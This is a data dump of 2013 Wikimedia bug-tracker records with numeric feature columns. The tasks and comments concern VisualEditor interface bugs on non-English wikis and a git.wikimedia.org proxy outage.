> language as defined on Meta, which is likely not to be the same as the user's
> UI language on a non-English site.
> 
> As much as possible, the link should point directly to the user manual in the
> language that the user is using currently for the UI.

What is the recommended solution for this? Hard-code the link to be https://www.mediawiki.org/wiki/Help:VisualEditor/User_guide/<foo>? Wouldn't it be easier for the user's language to properly transfer to MW.org using ULS or whatever?",,,1374509348,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-likhdovodmty4qer7rsq,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,2.0,3.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,13.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,5.0,25.0,0.0,2.0,8.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,2.0,11.0,13.0,3.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,2.0,2.0,0.0,0.0,3.4754098360655736,0.639344262295082,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

What is the recommended solution for this? Hard-code the link to be URL Wouldn't it be easier for the user's language to properly transfer to MW.org using ULS or whatever?"
53792,VisualEditor: Non-English Wikipedia issues (tracking),"Tracking for VE issues of problems that are specific to a Wikipedia other than English Wikipedia, excluding RTL issues as they are tracked by bug 33126.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
{T51998}
{T51999}",Medium,50.0,1374480780,1422425002.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-oytsgsispcryv5y4kv3t,task_description,resolved,True,c1,3,False,False,False,3,,0.0,0.0,0.0,2.0,0.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,2.0,2.0,0.0,2.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,3.0,19.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,10.0,8.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,3.0,0.0,0.0,0.0,3.7096774193548385,0.6451612903225806,"Tracking for VE issues of problems that are specific to a Wikipedia other than English Wikipedia, excluding RTL issues as they are tracked by bug 33126.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
{T51998}
{T51999}"
463280,VisualEditor: Non-English Wikipedia issues (tracking),Which project/tag was this replaced with?,,,1432541898,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-oytsgsispcryv5y4kv3t,task_subcomment,,True,c1,3,False,,,99,,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Which project/tag was this replaced with?
403777,VisualEditor: Non-English Wikipedia issues (tracking),Replaced with projects.,,,1422425002,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-oytsgsispcryv5y4kv3t,task_subcomment,,True,c1,3,True,,,82,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.25,1.0,Replaced with projects.
244024,VisualEditor: Non-English Wikipedia issues (tracking),"Since you dont want to track them, I have put myself as the assignee.

I added issues that appear to be a much higher priority for non-English Wikipedia, or only reproducible on non-English Wikipedia.  If they affect all Wikipedia, remove them.

We have had very few issues raised from non-English Wikis, and many of them had not even been confirmed until I worked through the Unconfirmed list yesterday.",,,1374528616,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-oytsgsispcryv5y4kv3t,task_subcomment,,True,c1,3,False,,,3,,5.0,0.0,1.0,1.0,1.0,16.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,6.0,0.0,7.0,13.0,0.0,2.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,5.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,3.0,2.0,16.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,12.0,13.0,5.0,0.0,0.0,0.0,12.0,0.0,1.0,1.0,5.0,0.0,1.0,0.0,0.0,3.941860465116279,0.7209302325581395,"Since you dont want to track them, I have put myself as the assignee.

I added issues that appear to be a much higher priority for non-English Wikipedia, or only reproducible on non-English Wikipedia.  If they affect all Wikipedia, remove them.

We have had very few issues raised from non-English Wikis, and many of them had not even been confirmed until I worked through the Unconfirmed list yesterday."
244017,VisualEditor: Non-English Wikipedia issues (tracking),"It is not-unreasonable to use a tracking bug for language-specific issues, but almost all of the bugs cited here are not language-specific. Will remove those that are general VisualEditor issues.",,,1374508727,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-oytsgsispcryv5y4kv3t,task_subcomment,,True,c1,3,True,,,3,,3.0,0.0,0.0,0.0,5.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,18.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,8.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,8.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,4.256410256410256,0.7948717948717948,"It is not-unreasonable to use a tracking bug for language-specific issues, but almost all of the bugs cited here are not language-specific. Will remove those that are general VisualEditor issues."
53785,"VisualEditor: Loading animation shows at top of page rather than top of window, so can be non-visible when editing a section","When you type ""[["" in visual editor, there is a ""wiki markup text"" popu (nice touch - Thanks, devs).

However, this warning popup shows at top of page, so it's not visible when the page is scrolled even a few lines.

VE toolbar floats at the top of the browser's page even when we edit at the middle of the article. the warning popu should do the same. 

REPRODUCTION INSTRUCTIONS
0) open [[en:The Rolling Stones]]
1) select one of the sections from the TOC
2) Click ""Edit""
3) wait, wait, wait, wait...
4) close the edit notice
5) type ""[[""

EXPECTED
1) during the wait (3 above) there is a nice image asking you to wait: this image is expected to be visible

2) when the ""edit notice"" shows up, you expect some clear way to close it.

3) when typing ""[["", you expect the ""wikitext warning"" popup to show up

WHAT ACTUALLY HAPPEN

1) the ""please wait"" image appears, but unfortunately it's outside the screen, so you do not know why the page appears milky, and have no indication that this would eventually end.

2) depending on your luck, clicking on various parts of the page *will* close the edit notice (if you're lucky), or will take you to [[en:Template:Editnotices/Page/The Rolling Stones]] (i.e., another page from the one you are trying to edit) if you're unlucky.

3) the warning popup appears, but it's at the top of the page, so unless you are editing the very first part of the page, you do not see it.


COMMENTS:
1) VE is clever enough to have its toolbar visible even when scrolling down, using ""position:fixed"". same should be done for the ""please wait"" image and for the warning popup(s).

2) the ""1 notice"" and the warning triangle on the toolbar should indicate that they are the gate to hiding the notice: e.g., change the ""1 Notice"" text to ""Hide notice"" when the notice is visible.

3) it seems that the wikitext notice is not yet translated to all languages.


peace.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1374442980,1379436668.0,PHID-USER-akv4ingxkspiiam6r2n4,False,,False,PHID-TASK-j46p5in7q2s26odkx5az,task_description,resolved,True,c1,3,False,False,True,2,,0.6,0.0,0.2,0.8,0.8,4.4,0.8,0.0,0.0,0.6,0.8,0.4,0.0,0.0,0.4,0.2,0.0,4.4,8.6,0.0,1.6,0.6,0.0,0.0,0.2,0.0,0.0,0.4,0.0,0.6,0.2,5.8,3.8,1.4,1.4,2.4,0.8,0.0,0.6,0.2,0.2,0.2,0.2,1.4,0.0,0.6,0.2,0.0,0.4,14.2,0.4,0.2,0.0,0.0,0.0,0.0,0.0,0.0,0.4,0.0,0.4,0.8,0.0,1.0,0.0,0.0,0.2,7.8,2.4,5.6,3.4,1.2,9.2,0.0,0.0,0.0,0.0,5.0,0.4,2.0,0.0,4.2,8.6,2.0,0.0,5.2,0.0,4.2,0.0,1.8,0.6,0.0,2.0,0.0,0.0,4.6,3.3128888888888888,0.6278989898989898,"When you type ""[["" in visual editor, there is a ""wiki markup text"" popu (nice touch - Thanks, devs).

However, this warning popup shows at top of page, so it's not visible when the page is scrolled even a few lines.

VE toolbar floats at the top of the browser's page even when we edit at the middle of the article. the warning popu should do the same. 

REPRODUCTION INSTRUCTIONS
0) open [[en:The Rolling Stones]]
1) select one of the sections from the TOC
2) Click ""Edit""
3) wait, wait, wait, wait...
4) close the edit notice
5) type ""[[""

EXPECTED
1) during the wait (3 above) there is a nice image asking you to wait: this image is expected to be visible

2) when the ""edit notice"" shows up, you expect some clear way to close it.

3) when typing ""[["", you expect the ""wikitext warning"" popup to show up

WHAT ACTUALLY HAPPEN

1) the ""please wait"" image appears, but unfortunately it's outside the screen, so you do not know why the page appears milky, and have no indication that this would eventually end.

2) depending on your luck, clicking on various parts of the page *will* close the edit notice (if you're lucky), or will take you to [[en:Template:Editnotices/Page/The Rolling Stones]] (i.e., another page from the one you are trying to edit) if you're unlucky.

3) the warning popup appears, but it's at the top of the page, so unless you are editing the very first part of the page, you do not see it.


COMMENTS:
1) VE is clever enough to have its toolbar visible even when scrolling down, using ""position:fixed"". same should be done for the ""please wait"" image and for the warning popup(s).

2) the ""1 notice"" and the warning triangle on the toolbar should indicate that they are the gate to hiding the notice: e.g., change the ""1 Notice"" text to ""Hide notice"" when the notice is visible.

3) it seems that the wikitext notice is not yet translated to all languages.


peace.

--------------------------
**Version**: unspecified
**Severity**: normal"
243611,"VisualEditor: Loading animation shows at top of page rather than top of window, so can be non-visible when editing a section","Sounds like the same thing.

The other bug is older and the discussion on this one is mostly related to bug 50870, so I'll mark this one as a dupe of that one.

*** This bug has been marked as a duplicate of bug 50206 ***",,,1379436668,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-j46p5in7q2s26odkx5az,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,4.0,0.0,5.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,16.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,7.0,2.0,2.0,16.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,2.0,14.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,3.1785714285714284,0.6785714285714286,"Sounds like the same thing.

The other bug is older and the discussion on this one is mostly related to bug 50870, so I'll mark this one as a dupe of that one.

*** This bug has been marked as a duplicate of bug 50206 ***"
243606,"VisualEditor: Loading animation shows at top of page rather than top of window, so can be non-visible when editing a section",(is https://bugzilla.wikimedia.org/show_bug.cgi?id=50206 a dupe?),,,1379425952,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-j46p5in7q2s26odkx5az,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,1.8571428571428572,1.0,(is URL a dupe?)
243598,"VisualEditor: Loading animation shows at top of page rather than top of window, so can be non-visible when editing a section","(In reply to comment #3)
> i know that opening a single ticket for 3 different issues is not a good
> idea, and i apologize for doing something i know is wrong.

As long as you don't do it again, no need to apologise. :-)",,,1374509581,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-j46p5in7q2s26odkx5az,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,7.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,10.0,0.0,3.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.793103448275862,0.8620689655172413,"(In reply to comment #3)
QUOTE
QUOTE

As long as you don't do it again, no need to apologise. :-)"
243592,"VisualEditor: Loading animation shows at top of page rather than top of window, so can be non-visible when editing a section","Original bug talked about 3 (somewhat unrelated) things.

The first one turned out to be duplicate of bug 50870, and not specific to VE (i think this is why i did not find it).

However, the 2nd one *is* specific to VE, and i do not think bug 50870 covers it.

so i changed the synopsis of this bug to indicate the 2nd problem, and i'm reopening it.

i know that opening a single ticket for 3 different issues is not a good idea, and i apologize for doing something i know is wrong.

(it's a bit confusing - ""1st"" and ""2nd"", appear as ""2"" and ""1"" in original ticket - i call ""2"" in comment #0 ""first"" because this was the synopsis of original ticket).

peace.",,,1374506028,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-j46p5in7q2s26odkx5az,task_subcomment,,True,c1,3,False,,,3,,0.0,0.5,0.0,0.0,2.0,9.5,2.5,0.5,0.0,0.0,2.5,0.5,0.0,0.5,0.0,5.0,0.0,5.0,8.5,0.5,1.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,2.0,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,9.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.5,1.0,0.0,1.5,0.0,0.0,0.0,4.5,3.5,2.5,1.5,3.5,6.0,0.0,0.0,0.0,0.5,2.0,0.0,5.5,0.0,7.0,8.5,1.0,0.0,7.0,0.0,7.0,0.0,0.5,2.0,0.0,1.5,0.0,0.0,0.0,3.1884453781512603,0.5859243697478991,"Original bug talked about 3 (somewhat unrelated) things.

The first one turned out to be duplicate of bug 50870, and not specific to VE (i think this is why i did not find it).

However, the 2nd one *is* specific to VE, and i do not think bug 50870 covers it.

so i changed the synopsis of this bug to indicate the 2nd problem, and i'm reopening it.

i know that opening a single ticket for 3 different issues is not a good idea, and i apologize for doing something i know is wrong.

(it's a bit confusing - ""1st"" and ""2nd"", appear as ""2"" and ""1"" in original ticket - i call ""2"" in comment #0 ""first"" because this was the synopsis of original ticket).

peace."
243587,"VisualEditor: Loading animation shows at top of page rather than top of window, so can be non-visible when editing a section","

*** This bug has been marked as a duplicate of bug 50870 ***",,,1374449520,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-j46p5in7q2s26odkx5az,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 50870 ***"
243582,"VisualEditor: Loading animation shows at top of page rather than top of window, so can be non-visible when editing a section","(In reply to comment #0)
> 2) depending on your luck, clicking on various parts of the page *will* close
> the edit notice (if you're lucky), or will take you to
> [[en:Template:Editnotices/Page/The Rolling Stones]] (i.e., another page from
> the one you are trying to edit) if you're unlucky.
> 
> 
> peace.

so here is what i mean: if you click on the page outside the ""edit notice"", nothing happens.
if you click on the edit notice itself, then it depends: 
some parts of the edit notice are links (including the images), and will take you elsewhere. there is no indication, because the edit notice as a whole has ""cursor: pointer;"" css attribute, so the mouse pointer looks the same everywhere on the edit notice. clicking somewhere which is not a link will close the notice, and clicking somewhere which *is* a link will take you elsewhere. again, there is little indication - e.g., moving the mouse into and out of images does not give any visible sign.
clicking on the little ""page notice"" link *inside* the notice takes you elsewhere, while clicking on the ""1 notice"" on the toolbar closes the notice.
very confusing.

(btw: the notice itself seems to be anchored to the toolbar rather than to the page, which is exactly what's needed for the ""please wait"" image and for the wikitext popup).

peace.",,,1374443710,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-j46p5in7q2s26odkx5az,task_subcomment,,True,c1,3,False,,,2,,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,1.6666666666666667,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,1.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,6.0,9.333333333333334,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,1.0,0.0,6.666666666666667,4.333333333333333,1.0,0.6666666666666666,1.6666666666666667,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,1.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,8.666666666666666,2.6666666666666665,2.6666666666666665,1.6666666666666667,1.3333333333333333,10.666666666666666,0.0,0.0,0.0,0.3333333333333333,2.3333333333333335,0.3333333333333333,0.6666666666666666,0.0,3.0,9.333333333333334,1.6666666666666667,0.0,3.6666666666666665,0.0,3.0,0.0,1.6666666666666667,1.0,0.6666666666666666,2.0,0.0,0.0,0.0,3.6127436575570577,0.6033401900284062,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

so here is what i mean: if you click on the page outside the ""edit notice"", nothing happens.
if you click on the edit notice itself, then it depends: 
some parts of the edit notice are links (including the images), and will take you elsewhere. there is no indication, because the edit notice as a whole has ""cursor: pointer;"" css attribute, so the mouse pointer looks the same everywhere on the edit notice. clicking somewhere which is not a link will close the notice, and clicking somewhere which *is* a link will take you elsewhere. again, there is little indication - e.g., moving the mouse into and out of images does not give any visible sign.
clicking on the little ""page notice"" link *inside* the notice takes you elsewhere, while clicking on the ""1 notice"" on the toolbar closes the notice.
very confusing.

(btw: the notice itself seems to be anchored to the toolbar rather than to the page, which is exactly what's needed for the ""please wait"" image and for the wikitext popup).

peace."
53778,VisualEditor: Structural content inside a <small> should be alienated but this fails because they are inline rather than inline-block,"In an (un)ordered list nested in a table I am unable to edit wikilinks. While hovering above a wikilink the wikilink is an active weblink, instead of showing the icon of the link inspector, see URL.

--------------------------
**Version**: unspecified
**Severity**: minor
**URL**: https://test.wikipedia.org/wiki/User:Raymond/nested",Medium,50.0,1374430980,1642381371.0,PHID-USER-3uecblbxq24ycewm2cog,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-kvei76aer6u2clu7k444,task_description,duplicate,True,c1,3,False,False,False,2,,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,10.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,12.0,1.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,10.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,3.671641791044776,0.6268656716417911,"In an (un)ordered list nested in a table I am unable to edit wikilinks. While hovering above a wikilink the wikilink is an active weblink, instead of showing the icon of the link inspector, see URL.

--------------------------
**Version**: unspecified
**Severity**: minor
**URL**: URL"
243204,VisualEditor: Structural content inside a <small> should be alienated but this fails because they are inline rather than inline-block,*** Bug 52285 has been marked as a duplicate of this bug. ***,,,1385396898,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kvei76aer6u2clu7k444,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52285 has been marked as a duplicate of this bug. ***
243202,VisualEditor: Structural content inside a <small> should be alienated but this fails because they are inline rather than inline-block,"Block nodes (like lists) in inline positions (like in <small>) get alienated as inline aliens. These inline aliens then don't get shields and phantoms with the right dimensions. One way to fix that could be to make alienInline display:inline-block instead of display:inline, which seems to fix the dimensions of the shield, but we'd have to carefully evaluate that as it would potentially impact a lot of things.",,,1385394281,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-kvei76aer6u2clu7k444,task_subcomment,,True,c1,3,False,,,21,,0.0,0.0,0.0,0.0,1.0,5.0,1.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,1.0,0.0,6.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,2.0,0.0,3.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,5.0,1.0,3.0,1.0,2.0,7.0,0.0,0.0,0.0,0.0,9.0,1.0,1.0,0.0,2.0,16.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,4.023255813953488,0.6976744186046512,"Block nodes (like lists) in inline positions (like in <small>) get alienated as inline aliens. These inline aliens then don't get shields and phantoms with the right dimensions. One way to fix that could be to make alienInline display:inline-block instead of display:inline, which seems to fix the dimensions of the shield, but we'd have to carefully evaluate that as it would potentially impact a lot of things."
53769,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"From the mailing list

> from:	 planetenxin <planetenxin@web.de> via gmail.com 
> reply-to:	 Wikimedia developers <wikitech-l@lists.wikimedia.org>
> to:	 wikitech-l <wikitech-l@lists.wikimedia.org>
> date:	 Sun, Jul 21, 2013 at 10:15 PM
> subject:	 [Wikitech-l] Git Proxy Error

> Hi folks,
> I'm constantly getting the following error on https://git.wikimedia.org/:
> Proxy Error
> The proxy server received an invalid response from an upstream server.
> The proxy server could not handle the request GET /.
> Reason: Error reading from remote server
>/Alexander

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51656
https://bugzilla.wikimedia.org/show_bug.cgi?id=49371",Medium,50.0,1374410040,1441874873.0,PHID-USER-hwuumsjqciw7ji5qhpc7,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-m7yoxj62gdjohzchm7zw,task_description,declined,True,c1,3,False,False,False,2,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,33.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.189655172413793,0.29310344827586204,"From the mailing list

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL
URL"
524079,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"The gitblit software powering git.wikimedia.org is in the process of being replaced by Phabricator Diffusion. See:

{T111465}
Project: #gitblit-deprecate",,,1441874873,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,True,,,114,,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,21.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.724137931034483,0.9310344827586207,"The gitblit software powering git.wikimedia.org is in the process of being replaced by Phabricator Diffusion. See:

{T111465}
Project: #gitblit-deprecate"
